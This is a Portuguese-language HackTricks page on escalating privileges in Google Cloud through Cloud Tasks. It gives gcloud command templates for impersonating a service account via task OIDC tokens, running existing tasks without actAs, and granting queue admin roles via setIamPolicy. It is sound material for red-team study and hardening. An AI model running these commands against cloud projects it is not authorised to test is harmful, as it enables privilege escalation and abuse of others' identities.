GCP - Cloud Tasks Escalada de privilégios

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Cloud Tasks

cloudtasks.tasks.create, iam.serviceAccounts.actAs

Um atacante com essas permissões pode impersonate outras service accounts ao criar tasks que são executadas com a identidade da service account especificada. Isso permite enviar requisições HTTP autenticadas para serviços Cloud Run ou Cloud Functions protegidos por IAM.

Create Cloud Task with service account impersonation ```bash gcloud tasks create-http-task \ task-$(date '+%Y%m%d%H%M%S') \ --location us-central1 \ --queue \ --url 'https://.us-central1.run.app' \ --method POST \ --header 'X-Hello: world' \ --body-content '{"hello":"world"}' \ --oidc-service-account-email @.iam.gserviceaccount.com ```

cloudtasks.tasks.run, cloudtasks.tasks.list

Um attacker com essas permissões pode executar tarefas agendadas existentes sem precisar de permissões na conta de serviço associada à tarefa. Isso permite executar tarefas que foram previamente criadas com contas de serviço com privilégios mais altos.

Executar Cloud Task existente sem permissão actAs ```bash gcloud tasks run projects//locations/us-central1/queues//tasks/ ```

O principal que executa este comando não precisa da permissão iam.serviceAccounts.actAs na conta de serviço da tarefa. No entanto, isso apenas permite executar tarefas existentes — não concede a capacidade de criar ou modificar tarefas.

cloudtasks.queues.setIamPolicy

Um atacante com essa permissão pode conceder a si mesmo ou a outros principals papéis do Cloud Tasks em filas específicas, potencialmente escalando para roles/cloudtasks.admin, que inclui a capacidade de criar e executar tarefas.

Conceder papel de administrador do Cloud Tasks na fila ```bash gcloud tasks queues add-iam-policy-binding \ \ --location us-central1 \ --member serviceAccount:@.iam.gserviceaccount.com \ --role roles/cloudtasks.admin ```

Isso permite que o atacante conceda permissões de administrador completas do Cloud Tasks na fila a qualquer service account que ele controle.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks